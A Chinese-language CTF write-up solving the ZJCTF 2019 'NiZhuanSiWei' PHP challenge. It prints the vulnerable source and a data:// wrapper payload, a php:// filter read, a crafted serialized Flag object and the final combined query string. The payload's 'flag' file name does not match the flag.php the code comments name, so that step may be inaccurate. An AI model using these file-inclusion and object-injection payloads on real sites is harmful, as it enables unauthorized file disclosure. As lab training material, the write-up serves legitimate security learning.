【ZJCTF 2019】NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
收获
file_get_contents
绕过include
联想伪协议- 熟悉
__tostring
魔术方法的使用
题目
-
代码:
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
首先看要进入if,我们需要使得
$text
文件对应的内容为‘welcome to the zjctf’
。如何实现呢,因为file_get_content
函数其实是读取一个文件流,那么我们可以使用data
伪协议来构造数据流,payload:/?text=data:text/plain,welcome to the zjctf
-
读文件:
这里包含了$file变量,那么首先应该根据提示查看一下useless.php的内容,我们使用php伪协议进行读取,并且使用base64解码:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
-
反序列化:
本来一直在纠结怎么触发
__tostring
方法,后来突然看到echo $password
,那直接秒了:<?php class Flag{ public $file="flag"; } $a=new Flag(); echo serialize($a); ?>
-
Last:
payload:
?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:4:"flag";}
F12查看网页源码就可以。